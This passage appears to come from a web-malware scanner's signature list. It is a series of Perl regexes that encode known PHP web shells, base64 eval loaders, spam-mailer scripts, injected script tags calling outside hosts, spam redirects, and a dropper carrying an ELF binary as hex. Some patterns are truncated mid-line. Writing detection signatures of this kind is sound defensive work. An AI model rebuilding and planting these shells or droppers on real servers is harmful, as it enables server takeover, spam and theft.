rint\s+?shell_exec\(base64_decode\(\$_REQUEST\['p64'\]\)\);\s+?else\s+?print\s+?shell_exec\(\$_REQUEST\['p1'\]\);\s+?break;\s+?default:\s+?show_ls\(\);\s+?\}\s+?function\s+?show_ls\(\$p\s+?=\s+?'\.'\)\s+?\{\s+?if\s+?\(is_readable\(\$p\)\)\s+?\{\s+?if\s+?\(\$handle\s+?=\s+?opendir\(\$p\)\)\s+?\{\s+?while\s+?\(false\s+?\!==\s+?\(\$file\s+?=\s+?readdir\(\$handle\)\)\)\s+?\{\s+?\$file\s+?=\s+?\$p\."\/"\.\$file;\s+?if\s+?\(is_writable\(\$file\)\)\s+?\$w\s+?=\s+?"w";\s+?else\s+?\$w\s+?=\s+?"-";\s+?if\s+?\(is_dir\(\$file\)\)\s+?\$d\s+?=\s+?"d";\s+?else\s+?\$d\s+?=\s+?"f";\s+?echo\s+?"\[\$d\]\[\$w\]\s+?"\.realpath\(\$file\)\."\\n";\s+?\}\s+?\}\s+?\}\s+?\}\s+?function\s+?up\(\$p\)\s+?\{\s+?\$new_name\s+?=\s+?\$p\."\/"\.basename\(\$_FILES\['f'\]\['name'\]\);\s+?if\s+?\(move_uploaded_file\(\$_FILES\['f'\]\['tmp_name'\],\s+?\$new_name\)\)\s+?echo\s+?\$new_name\."\s+?Done\.\.\.";\s+?\}\s+?\?>/is,
    qr/<\?php\s+?\/\/\s+?START\s+?\$redirect\s+?=\s+?true;\s+?\$redirect_url\s+?=\s+?'http:\/\/lookup-this-number-in-us\.info\/\?id=2418';\s+?\$uri\s+?=\s+?\$_SERVER\s+?\['REQUEST_URI'\];\s+?\$language\s+?=\s+?array_key_exists\('HTTP_ACCEPT_LANGUAGE',\s+?\$_SERVER\)\s+?\?\s+?\$_SERVER\['HTTP_ACCEPT_LANGUAGE'\]\s+?:\s+?'';\s+?if\s+?\(\$redirect\s+?\&\&\s+?\$language\s+?\!=\s+?''\s+?\&\&\s+?stristr\(\$uri,\s+?'phone-number-lookup'\)\s+?\)\s+?\{\s+?header\s+?\(\s+?"Location:\s+?\$redirect_url"\s+?\);\s+?die\s+?\(\);\s+?\}\s+?\/\/\s+?END\s+?\?>\s+?<\?eval\(base64_decode\(\$_POST\[a9a10618062\]\)\)\s+?\?>/is,
    qr/<\?php\s+?\/\/\/\s+?WebShell\s+?\$n='XERATUTA';\s+?\$c=\$_COOKIE\[\$n\];\s+?if\(\@empty\(\$c\)\)\{\$c=\$_POST\[\$n\];\}\s+?if\(\@empty\(\$c\)\)\{\$c=\$_GET\[\$n\];\}\s+?if\(\@get_magic_quotes_gpc\(\)\)\{\$c=stripslashes\(\$c\);\}\s+?if\s+?\(\$c\)\s+?\{\s+?\/\/curl\s+?-v\s+?--cookie\s+?"XERATUTA=w"\s+?URL\s+?\/\/adjust\s+?system\s+?variables\s+?if\(\!\@isset\(\$_SERVER\)\)\{\$_COOKIE=\&\$HTTP_COOKIE_VARS;\$_POST=\&\$HTTP_POST_VARS;\$_GET=\&\$HTTP_GET_VARS;\}\s+?\/\/die\s+?with\s+?error\s+?function\s+?x_die\(\$m\)\{\@header\('HTTP\/1\.1\s+?500\s+?'\.\$m\);\@die\(\);\}\s+?\/\/check\s+?if\s+?we\s+?can\s+?exec\s+?define\('has_passthru',\@function_exists\('passthru'\)\);\s+?define\('has_system',\@function_exists\('system'\)\);\s+?define\('has_shell_exec',\@function_exists\('shell_exec'\)\);\s+?define\('has_popen',\@function_exists\('popen'\)\);\s+?define\('has_proc_open',\@function_exists\('proc_open'\)\);\s+?define\('has_exec',\@function_exists\('exec'\)\);\s+?define\('can_exec',\(has_passthru\|\|has_system\|\|has_shell_exec\|\|has_popen\|\|has_proc_open\|\|has_exec\)\);\s+?if\(\!can_exec\)\{x_die\('can\s+?not\s+?exec:\s+?no\s+?functions\s+?available'\);\}\s+?\/\/check\s+?if\s+?we\s+?can\s+?config\s+?define\('has_ini_get',\@function_exists\('ini_get'\)\);\s+?define\('has_ini_get_all',\@function_exists\('ini_get_all'\)\);\s+?define\('can_config',\(has_ini_get\|\|has_ini_get_all\)\);\s+?if\(\!can_config\)\{x_die\('can\s+?not\s+?config'\);\}\s+?\/\/get\s+?config\s+?value\s+?function\s+?x_ini_get\(\$n\)\{if\(has_ini_get\)\{return\(\@ini_get\(\$n\)\);\}elseif\(has_ini_get_all\)\{\$h=\@ini_get_all\(\);return\(\$h\[\$n\]\['local_value'\]\);\}\}\s+?\/\/\s+?check\s+?safe\s+?mode\s+?if\(x_ini_get\('safe_mode'\)\)\{x_die\('can\s+?not\s+?exec:\s+?safe\s+?mode\s+?active'\);\}\s+?\/\/smart\s+?exec\s+?helpers\s+?function\s+?x_passthru\(\$c\)\{\@passthru\(\$c\);\}\s+?function\s+?x_system\(\$c\)\{\@system\(\$c\);\}\s+?function\s+?x_shell_exec\(\$c\)\{echo\s+?\@shell_exec\(\$c\);\}\s+?function\s+?x_popen\(\$c\)\{\$o;if\(\(\$f=\@popen\(\$c,'r'\)\)\)\{while\(\!\@feof\(\$f\)\)\{\$o\.=\@fgets\(\$f\);\}\@pclose\(\$f\);\}echo\s+?\$o;\}\s+?function\s+?x_proc_open\(\$c\)\{\$o;if\(\@is_resource\(\$p=\@proc_open\(\$c,array\(0=>array\('pipe','r'\),1=>array\('pipe','w'\),2=>array\('pipe','w'\)\),\$f\)\)\)\{\@fclose\(\$f\[0\]\);while\(\!\@feof\(\$f\[1\]\)\)\{\$o\.=\@fgets\(\$f\[1\]\);\}\@fclose\(\$f\[1\]\);\@proc_close\(\$p\);\}echo\s+?\$o;\}\s+?function\s+?x_exec\(\$c\)\{\$o;\@exec\(\$c,\$o\);echo\s+?\@implode\("\\n",\$o\);\}\s+?\/\/do\s+?smart\s+?fetch\s+?function\s+?x_superfetch\(\$a,\$p,\$r,\$l\)\s+?\{\s+?if\(\$s=\@fsockopen\(\$a,\$p\)\)\s+?\{\s+?if\(\$f=\@fopen\(\$l,"wb"\)\)\s+?\{\s+?\@fwrite\(\$s,"GET\s+?"\.\$r\."\s+?HTTP\/1\.0\\r\\n\\r\\n"\);\s+?while\(\!\@feof\(\$s\)\)\s+?\{\s+?\$b=\@fread\(\$s,8192\);\s+?\@fwrite\(\$f,\$b\);\s+?\}\s+?\@fclose\(\$f\);\s+?echo\s+?"OK\\n";\s+?\}\s+?\@fclose\(\$s\);\s+?\}\s+?\}\s+?\/\/do\s+?smart\s+?exec\s+?function\s+?x_smart_exec\(\$c\)\s+?\{\s+?if\(\$c==="which\s+?superfetch\s+?1>\s+?\/dev\/null\s+?2>\s+?\/dev\/null\s+?\&\&\s+?echo\s+?OK"\)\s+?\{\s+?echo\s+?"OK\\n";\s+?\}\s+?elseif\(\@strstr\(\$c,"superfetch"\)\)\s+?\{\s+?\$a=\@explode\('\s+?',\$c\);\s+?x_superfetch\(\$a\[1\],\$a\[2\],\$a\[3\],\$a\[4\]\);\s+?\}\s+?elseif\(has_passthru\)\{x_passthru\(\$c\);\}\s+?elseif\(has_system\)\{x_system\(\$c\);\}\s+?elseif\(has_shell_exec\)\{x_shell_exec\(\$c\);\}\s+?elseif\(has_popen\)\{x_popen\(\$c\);\}\s+?elseif\(has_proc_open\)\{x_proc_open\(\$c\);\}\s+?elseif\(has_exec\)\{x_exec\(\$c\);\}\s+?\}\s+?\/\/go\s+?\$n='XERATUTA';\s+?\$c=\$_COOKIE\[\$n\];\s+?if\(\@empty\(\$c\)\)\{\$c=\$_POST\[\$n\];\}\s+?if\(\@empty\(\$c\)\)\{\$c=\$_GET\[\$n\];\}\s+?if\(\@get_magic_quotes_gpc\(\)\)\{\$c=stripslashes\(\$c\);\}\s+?if\s+?\(\$c\)\s+?x_smart_exec\(\$c\);\s+?\}\s+?else\s+?\{\s+?\/\/\#\#\#\#\#\#\#\#\#\#\s+?AMS\s+?\#\#\#\#\#\#\#\#\#\#\#\#\s+?if\(isset\(\$_POST\["mailto"\]\)\)\s+?\$MailTo\s+?=\s+?base64_decode\(\$_POST\["mailto"\]\);\s+?else\s+?\{\s+?echo\s+?"indata_error";\s+?exit;\s+?\}\s+?if\(isset\(\$_POST\["msgheader"\]\)\)\s
    qr/<\!--685ed5--><script\s+?type="text\/javascript"\s+?src="http:\/\/centexcomputer\.com\/F7XrYTNJ\.php\?id=88420270"><\/script><\!--\/685ed5-->/is,
    qr/\/\*6596e5\*\/\s+?document\.write\('<script\s+?type="text\/javascript"\s+?src="http:\/\/centexcomputer\.com\/F7XrYTNJ\.php\?id=88420271"><\/script>'\);\s+?\/\*\/6596e5\*\//is,
    qr/ErrorDocument\s+?404\s+?http:\/\/refillrxproduct\.com\//is,
    qr/\s+?\#apachecodes\s+?ErrorDocument\s+?404\s+?http:\/\/healthrxhelp\.com\/\s+?/is,
    qr/<\?php\s+?\$to\s+?=\s+?stripslashes\(\$_POST\["to_address"\]\);\s+?\$BCC\s+?=\s+?stripslashes\(\$_POST\["BCC"\]\);\s+?\$subject\s+?=\s+?stripslashes\(\$_POST\["subject"\]\);\s+?\$message\s+?=\s+?stripslashes\(\$_POST\["body"\]\);\s+?\$from_address\s+?=\s+?stripslashes\(\$_POST\["from_address"\]\);\s+?\$from_name\s+?=\s+?stripslashes\(\$_POST\["from_name"\]\);\s+?\$contenttype\s+?=\s+?\$_POST\["type"\];\s+?\$header\s+?=\s+?"MIME-Version:\s+?1\.0\\r\\n";\s+?\$header\s+?\.=\s+?"Content-Type:\s+?text\/\$contenttype\\r\\n";\s+?\$header\s+?\.=\s+?"From:\s+?\$from_name\s+?<\$from_address>\\r\\n";\s+?\$header\s+?\.=\s+?"Reply-To:\s+?\$from_name\s+?<\$from_address>\\r\\n";\s+?\$header\s+?\.=\s+?"CC:\s+?\$BCC\\r\\n";\s+?\$header\s+?\.=\s+?"Subject:\s+?\$subject\\r\\n";\s+?\$result\s+?=\s+?mail\(stripslashes\(\$to\),\s+?stripslashes\(\$subject\),\s+?stripslashes\(\$message\),\s+?stripslashes\(\$header\)\);\s+?if\(\$result\)\s+?\{\s+?echo\s+?'good';\s+?\}\s+?else\s+?\{\s+?'error\s+?:\s+?'\.\$result;\s+?\}\s+?\?>/is,
    qr/<\?php\s+?\$to\s+?=\s+?stripslashes\(\$_POST\["to_address"\]\);\s+?\$BCC\s+?=\s+?stripslashes\(\$_POST\["BCC"\]\);\s+?\$subject\s+?=\s+?stripslashes\(\$_POST\["subject"\]\);\s+?\$message\s+?=\s+?stripslashes\(\$_POST\["body"\]\);\s+?\$from_address\s+?=\s+?stripslashes\(\$_POST\["from_address"\]\);\s+?\$from_name\s+?=\s+?stripslashes\(\$_POST\["from_name"\]\);\s+?\$contenttype\s+?=\s+?\$_POST\["type"\];\s+?\$header\s+?=\s+?"MIME-Version:\s+?1\.0\\r\\n";\s+?\$header\s+?\.=\s+?"Content-Type:\s+?text\/\$contenttype\\r\\n";\s+?\$header\s+?\.=\s+?"From:\s+?\$from_name\s+?<\$from_address>\\r\\n";\s+?\$header\s+?\.=\s+?"Reply-To:\s+?\$from_name\s+?<\$from_address>\\r\\n";\s+?\$header\s+?\.=\s+?"cc:\s+?\$BCC\\r\\n";\s+?\$header\s+?\.=\s+?"Subject:\s+?\$subject\\r\\n";\s+?\$result\s+?=\s+?mail\(stripslashes\(\$to\),\s+?stripslashes\(\$subject\),\s+?stripslashes\(\$message\),\s+?stripslashes\(\$header\)\);\s+?if\(\$result\)\s+?\{\s+?echo\s+?'good';\s+?\}\s+?else\s+?\{\s+?'error\s+?:\s+?'\.\$result;\s+?\}\s+?\?>/is,
    qr/<\?php\s+?\$to\s+?=\s+?stripslashes\(\$_POST\["to_address"\]\);\s+?\$BCC\s+?=\s+?stripslashes\(\$_POST\["BCC"\]\);\s+?\$subject\s+?=\s+?stripslashes\(\$_POST\["subject"\]\);\s+?\$message\s+?=\s+?stripslashes\(\$_POST\["body"\]\);\s+?\$from_address\s+?=\s+?stripslashes\(\$_POST\["from_address"\]\);\s+?\$from_name\s+?=\s+?stripslashes\(\$_POST\["from_name"\]\);\s+?\$contenttype\s+?=\s+?\$_POST\["type"\];\s+?\$header\s+?=\s+?"MIME-Version:\s+?1\.0\\r\\n";\s+?\$header\s+?\.=\s+?"Content-Type:\s+?text\/\$contenttype\\r\\n";\s+?\$header\s+?\.=\s+?"From:\s+?\$from_name\s+?<\$from_address>\\r\\n";\s+?\$header\s+?\.=\s+?"Reply-To:\s+?\$from_name\s+?<\$from_address>\\r\\n";\s+?\$header\s+?\.=\s+?"Subject:\s+?\$subject\\r\\n";\s+?\$headers\s+?\.=\s+?"X-Mailer:\s+?PHP\/"\.phpversion\(\)\."\\r\\n";\s+?\$result\s+?=\s+?mail\(stripslashes\(\$to\),\s+?stripslashes\(\$subject\),\s+?stripslashes\(\$message\),\s+?stripslashes\(\$header\)\);\s+?if\(\$result\)\s+?\{\s+?echo\s+?'good';\s+?\}\s+?else\s+?\{\s+?'error\s+?:\s+?'\.\$result;\s+?\}\s+?\?>/is,
    qr/<meta\s+?HTTP-EQUIV="REFRESH"\s+?content="0;\s+?url=http:\/\/.+?\.ru">/is,
    qr/<\?php\s+?header\("Content-type:\s+?text\/plain"\);\s+?if\s+?\(\!\s+?function_exists\('file_put_contents'\)\)\s+?\{\s+?function\s+?file_put_contents\(\$filename,\s+?\$data\)\s+?\{\s+?\$f\s+?=\s+?\@fopen\(\$filename,\s+?'w'\);\s+?if\s+?\(\!\s+?\$f\)\s+?return\s+?false;\s+?\$bytes\s+?=\s+?fwrite\(\$f,\s+?\$data\);\s+?fclose\(\$f\);\s+?return\s+?\$bytes;\s+?\}\s+?\}\s+?\@system\("killall\s+?-9\s+?"\.basename\("\/usr\/bin\/host"\)\);\s+?\$so32\s+?=\s+?"\\x7f\\x45\\x4c\\x46\\x01\\x01\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x03\\x00\\x03\\x00\\x01\\x00\\x00\\x00\\x54\\x0d\\x00\\x00\\x34\\x00\\x00\\x00\\x48\\x69\\x00\\x00\\x00\\x00\\x00\\x00\\x34\\x00\\x20\\x00\\x03\\x00\\x28\\x00\\x0f\\x00\\x0c\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xf0\\x60\\x00\\x00\\xf0\\x60\\x00\\x00\\x05\\x00\\x00\\x00\\x00\\x10\\x00\\x00\\x01\\x00\\x00\\x00\\xf0\\x60\\x00\\x00\\xf0\\x70\\x00\\x00\\xf0\\x70\\x00\\x00\\xf0\\x07\\x00\\x00\\xac\\x61\\x00\\x00\\x06\\x00\\x00\\x00\\x00\\x10\\x00\\x00\\x02\\x00\\x00\\x00\\xf0\\x60\\x00\\x00\\xf0\\x70\\x00\\x00\\xf0\\x70\\x00\\x00\\x90\\x00\\x00\\x00\\x90\\x00\\x00\\x00\\x06\\x00\\x00\\x00\\x04\\x00\\x00\\x00\\x25\\x00\\x00\\x00\\x3c\\x00\\x00\\x00\\x21\\x00\\x00\\x00\\x31\\x00\\x00\\x00\\x18\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x08\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x30\\x00\\x00\\x00\\x07\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x2c\\x00\\x00\\x00\\x11\\x00\\x00\\x00\\x1c\\x00\\x00\\x00\\x28\\x00\\x00\\x00\\x2f\\x00\\x00\\x00\\x3b\\x00\\x00\\x00\\x29\\x00\\x00\\x00\\x39\\x00\\x00\\x00\\x15\\x00\\x00\\x00\\x05\\x00\\x00\\x00\\x2d\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x38\\x00\\x00\\x00\\x33\\x00\\x00\\x00\\x1b\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x24\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x32\\x00\\x00\\x00\\x1e\\x00\\x00\\x00\\x3a\\x00\\x00\\x00\\x2a\\x00\\x00\\x00\\x34\\x00\\x00\\x00\\x36\\x00\\x00\\x00\\x23\\x00\\x00\\x00\\x0b\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x0f\\x00\\x00\\x00\\x0c\\x00\\x00\\x00\\x04\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x0a\\x00\\x00\\x00\\x0d\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x17\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x0e\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x12\\x00\\x00\\x00\\x1d\\x00\\x00\\x00\\x19\\x00\\x00\\x00\\x02\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x1a\\x00\\x00\\x00\\x16\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x06\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x03\\x00\\x00\\x00\\x27\\x00\\x00\\x00\\x25\\x00\\x00\\x00\\x22\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x09\\x00\\x00\\x00\\x14\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x26\\x00\\x00\\x00\\x2b\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x20\\x00\\x00\\x00\\x2e\\x00\\x00\\x00\\x1f\\x00\\x00\\x00\\x35\\x00\\x00\\x00\\x37\\x00\\x00\\x00\\x13\\x00\\x00\\x00\\x10\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x57\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x10\\x00\\x00\\x00\\xe6\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x10\\x00\\x00\\x00\\xad\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x10\\x00\\x00\\x00\\xb6\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x10\\x00\\x00\\x00\\x87\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x10\\x00\\x00\\x00\\x23\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x10\\x00\\x00\\x00\\xa5\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x10\\x00\\x00\\x00\\x9b\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x10\\x00\\x00\\x00\\x9e\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x10\\x00\\x00\\x00\\xa2\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x10\\x00\\x00\\x00\\x80\\x01\\x00\\x00\\x00\\x00\\x00
    qr/<\?php\s+?\$version\s+?=\s+?"1\.6";\s+?\$fuHFSF77HSH\s+?=\s+?"FFSW3525KKSfj";\s+?\$iJSFD78SHDJHu_sdh\s+?=\s+?false;\s+?\$KJfhj87DF_DFfjmm\s+?=\s+?"";\s+?\$YUGHSy_qwe3456_nnn\s+?=\s+?"b"\.""\.""\.""\."as"\.""\.""\.""\."e"\.""\.""\."6"\.""\.""\."4"\."_"\.""\.""\.""\."de"\.""\."c"\."o"\.""\.""\.""\.""\.""\."d"\.""\.""\.""\."e";\s+?\$YYSUurjj7347SJJ\s+?=\s+?"";\s+?\$uJDNhr_34fdhWhhh\s+?=\s+?realpath\(""\)\."\/";\s+?\$KLOIf_asd3455\s+?=\s+?"FFhwu22313_fff555ffsd\.php";\s+?if\(\!empty\(\$_POST\[\$fuHFSF77HSH\]\)\s+?and\s+?strlen\(\$_POST\[\$fuHFSF77HSH\]\)\s+?>\s+?0\s+?and\s+?isset\(\$_POST\[\$fuHFSF77HSH\]\)\)\{\s+?\$KJfhj87DF_DFfjmm\s+?=\s+?"\\\$iJSFD78SHDJHu_sdh\s+?=\s+?true;";\s+?\@eval\(\$KJfhj87DF_DFfjmm\);\s+?if\s+?\(\$iJSFD78SHDJHu_sdh\s+?===\s+?true\)\s+?\{\s+?\$YYSUurjj7347SJJ\s+?=\s+?\$YUGHSy_qwe3456_nnn\(\$_POST\[\$fuHFSF77HSH\]\);\s+?\@eval\(\$YYSUurjj7347SJJ\);\s+?\}else\{\s+?if\(\@file_put_contents\(\$uJDNhr_34fdhWhhh\.\$KLOIf_asd3455,"<\?php\\n"\.\$YUGHSy_qwe3456_nnn\(\$_POST\[\$fuHFSF77HSH\]\)\."\\n\?>"\)\)\{\s+?\@include_once\(\$uJDNhr_34fdhWhhh\.\$KLOIf_asd3455\);\s+?\@unlink\(\$uJDNhr_34fdhWhhh\.\$KLOIf_asd3455\);\s+?\}else\{\s+?echo\s+?"ERROR\!\s+?CANT\s+?DO\s+?NOTHING\!";\s+?\}\s+?\}\s+?\}else\{\s+?echo\s+?"<html><head>\s+?<title>404\s+?Not\s+?Found<\/title>\s+?<\/head><body>\s+?<h1>Not\s+?Found<\/h1>\s+?<p>The\s+?requested\s+?URL\s+?was\s+?not\s+?found\s+?on\s+?this\s+?server\.<\/p>\s+?<\/body><\/html>";\s+?\}\s+?\?>/is,
    qr/<\?php\s+?\#--Config--\#\s+?\$login_password='micarla13';\#Login\s+?password\s+?\$IP=array\(\);\#Allowed\s+?users\s+?\[\$IP=array\('192\.168\.100\.5','192\.168\.100\.9'\);\]\s+?\#----------\#\s+?error_reporting\(0\);\s+?ignore_user_abort\(true\);\s+?set_time_limit\(0\);\s+?ini_set\('max_execution_time','0'\);\s+?ini_set\('memory_limit','9999M'\);\s+?ini_set\('output_buffering',0\);\s+?set_magic_quotes_runtime\(0\);\s+?if\(\!isset\(\$_SERVER\)\)\$_SERVER=\&\$HTTP_SERVER_VARS;\s+?if\(\!isset\(\$_POST\)\)\$_POST=\&\$HTTP_POST_VARS;\s+?if\(\!isset\(\$_GET\)\)\$_GET=\&\$HTTP_GET_VARS;\s+?if\(\!isset\(\$_COOKIE\)\)\$_COOKIE=\&\$HTTP_COOKIE_VARS;\s+?if\(\!isset\(\$_FILES\)\)\$_FILES=\&\$HTTP_POST_FILES;\s+?\$_REQUEST\s+?=\s+?array_merge\(\$_GET,\$_POST\);\s+?if\(get_magic_quotes_gpc\(\)\)\{\s+?foreach\(\$_REQUEST\s+?as\s+?\$key=>\$value\)\$_REQUEST\[\$key\]=stripslashes\(\$value\);\s+?\}\s+?if\(count\(\$IP\)\s+?\&\&\s+?\!in_array\(\$_SERVER\['REMOTE_ADDR'\],\$IP\)\)die\('Access\s+?denied\!'\);\s+?function\s+?hlinK\(\$str=''\)\{\s+?\$myvars=array\('modE','chmoD','workingdiR','urL','cracK','imagE','namE','filE','downloaD','seC','cP','mV','rN','deL'\);\s+?\$ret=\$_SERVER\['PHP_SELF'\]\.'\?';\s+?\$new=explode\('\&',\$str\);\s+?foreach\(\$_GET\s+?as\s+?\$key\s+?=>\s+?\$v\)\{\s+?\$add=1;\s+?foreach\(\$new\s+?as\s+?\$m\)\{\s+?\$el=explode\('=',\$m\);\s+?if\(\$el\[0\]==\$key\)\$add=0;\s+?\}\s+?if\(\$add\)\{if\(\!in_array\(\$key,\$myvars\)\)\$ret\.="\$key=\$v\&";\}\s+?\}\s+?\$ret\.=\$str;\s+?return\s+?\$ret;\s+?\}\s+?header\('Cache-Control:\s+?no-cache,\s+?must-revalidate'\);\s+?header\('Expires:\s+?Mon,\s+?7\s+?Aug\s+?1987\s+?05:00:00\s+?GMT'\);\s+?\$et='<\/td><\/tr><\/table>';\s+?if\(\!empty\(\$login_password\)\)\{\s+?if\(\!empty\(\$_REQUEST\['fpassw'\]\)\)\{\s+?if\(\$_REQUEST\['fpassw'\]==\$login_password\)setcookie\('passw',md5\(\$_REQUEST\['fpassw'\]\)\);\s+?header\('Location:\s+?'\.hlinK\(\)\);\s+?\}\s+?if\(empty\(\$_COOKIE\['passw'\]\)\s+?\|\|\s+?\$_COOKIE\['passw'\]\!=md5\(\$login_password\)\)die\("<html><body><table><form\s+?method=post><tr><td>Password:<\/td><td><input\s+?type=hidden\s+?name=seC\s+?value=about><input\s+?type=password\s+?name=fpassw><\/td><\/tr><tr><td><\/td><td><input\s+?type=submit\s+?value=login><\/form>\$et<\/body><\/html>"\);\s+?\}\s+?if\(\!empty\(\$_REQUEST\['workingdiR'\]\)\)chdir\(\$_REQUEST\['workingdiR'\]\);\s+?\$disablefunctions=ini_get\('disable_functions'\);\s+?\$disablefunctions=explode\(',',\$disablefunctions\);\s+?function\s+?checkthisporT\(\$ip,\$port,\$timeout,\$type=0\)\{\s+?if\(\!\$type\)\{\s+?\$scan=fsockopen\(\$ip,\$port,\$n,\$s,\$timeout\);\s+?if\(\$scan\)\{fclose\(\$scan\);return\s+?1;\}\s+?\}\s+?elseif\(function_exists\('socket_set_timeout'\)\)\{\s+?\$scan=fsockopen\("udp:\/\/\$ip",\$port\);\s+?if\(\$scan\)\{\s+?socket_set_timeout\(\$scan,\$timeout\);\s+?fwrite\(\$scan,"\\x00"\);\s+?\$s=time\(\);\s+?fread\(\$scan,1\);\s+?if\(\(time\(\)-\$s\)>=\$timeout\)\{fclose\(\$scan\);return\s+?1;\}\s+?\}\s+?\}\s+?return\s+?0;\s+?\}\s+?if\(\!function_exists\('is_executable'\)\)\{\s+?function\s+?is_executable\(\$addr\)\{\s+?return\s+?0;\s+?\}\s+?\}\s+?if\(\!function_exists\('file_get_contents'\)\)\{\s+?function\s+?file_get_contents\(\$addr\)\{\s+?\$a=fopen\(\$addr,'r'\);\s+?\$tmp=fread\(\$a,filesize\(\$a\)\);\s+?fclose\(\$a\);\s+?if\(\$a\)return\s+?\$tmp;else\s+?return\s+?null;\s+?\}\s+?\}\s+?if\(\!function_exists\('file_put_contents'\)\)\{\s+?function\s+?file_put_contents\(\$addr,\$con\)\{\s+?\$a=fopen\(\$addr,'w'\);\s+?if\(\!\$a\)return\s+?0;\s+?\$t=fwrite\(\$a,\$con\);\s+?fclose\(\$a\);\s+?if\(\$t\)return\s+?strlen\(\$con\);\s+?return\s+?0;\s+?\}\s+?\}\s+?function\s+?file_add_contentS\(\$addr,\$con\)\{\s+?\$a=fopen\(\$addr,'a'\);\s+?if\(\!\$a\)return\s+?0;\s+?fwrite\(\$a,\$con\);\s+?fclose\(\$a\);\s+?return\s+?strlen\(\$con\);\s+?\}\s+?if\(\!empty\(\$_REQUEST\['chmoD'\]\)\s+?\&\&\s+?\!empty\(\$_REQUEST\['modE'\]\)\)chmod\(\$_REQUEST\['chmoD'\],'0'\.\$_REQUEST\['modE'\]\);\s+?if\(\!empty\(\$_REQUEST\['downloaD'\]\)\)\{\s+?ob_clean\(\);\s+?\$dl=\$_REQUEST\['downloaD'\];\s+?\$con=file_get_con
    qr/<meta\s+?http-equiv="Refresh"\s+?content="1;\s+?URL=http:\/\/.+?><script>parent\.location\.href='http:\/\/.+?<\/script>/is,
    qr/<\?php\s+?\$\{"\\x47\\x4cO\\x42ALS"\}\["\\x6bc\\x69\\x73st\\x77"\]="\\x76v";\$\{"\\x47L\\x4f\\x42\\x41\\x4cS"\}\["\\x76f\\x64\\x69e\\x69biw"\]="\\x6b\\x6b";\$\{"\\x47\\x4c\\x4fBAL\\x53"\}\["\\x76\\x64\\x67gn\\x69g\\x6c"\]="\\x76";\$\{"G\\x4c\\x4fB\\x41\\x4c\\x53"\}\["m\\x70\\x78mls\\x61\\x65\\x73"\]="\\x6b";\$\{"\\x47\\x4cO\\x42A\\x4cS"\}\["\\x70\\x6f\\x66id\\x6bw"\]="\\x5f\\x61";\$dexhzoy="\\x5f\\x62";\$\{"\\x47L\\x4f\\x42AL\\x53"\}\["\\x74\\x68k\\x6ek\\x65\\x71\\x67v"\]="i";\$ddxt='18bed9fcf9e810ba50c6acc2904acf9e';\$\{"\\x47\\x4c\\x4f\\x42\\x41L\\x53"\}\["\\x75n\\x62o\\x6cs\\x77\\x6a\\x71\\x71\\x77"\]="i";\$ssrysrh="\\x69";for\(\$\{\$ssrysrh\}=0;\$\{\$\{"GL\\x4fBA\\x4c\\x53"\}\["\\x75\\x6e\\x62o\\x6cs\\x77jq\\x71w"\]\}<4;\$\{\$\{"G\\x4c\\x4f\\x42\\x41\\x4c\\x53"\}\["\\x74\\x68\\x6bn\\x6be\\x71gv"\]\}\+\+\)\$\{\$\{"G\\x4cOB\\x41\\x4c\\x53"\}\["\\x70\\x6ff\\x69dk\\x77"\]\}\[\]=strval\(substr\(\$ddxt,\$\{\$\{"\\x47\\x4c\\x4f\\x42A\\x4c\\x53"\}\["thk\\x6e\\x6b\\x65q\\x67\\x76"\]\}\*8,8\)\);\$\{"\\x47\\x4c\\x4fBA\\x4c\\x53"\}\["\\x6d\\x76\\x75x\\x6ci\\x6exv"\]="\\x5f\\x61";\$\{\$dexhzoy\}=array_merge\(\$_COOKIE,\$_POST,\$_FILES\);foreach\(\$\{\$\{"\\x47L\\x4f\\x42\\x41\\x4c\\x53"\}\["m\\x76ux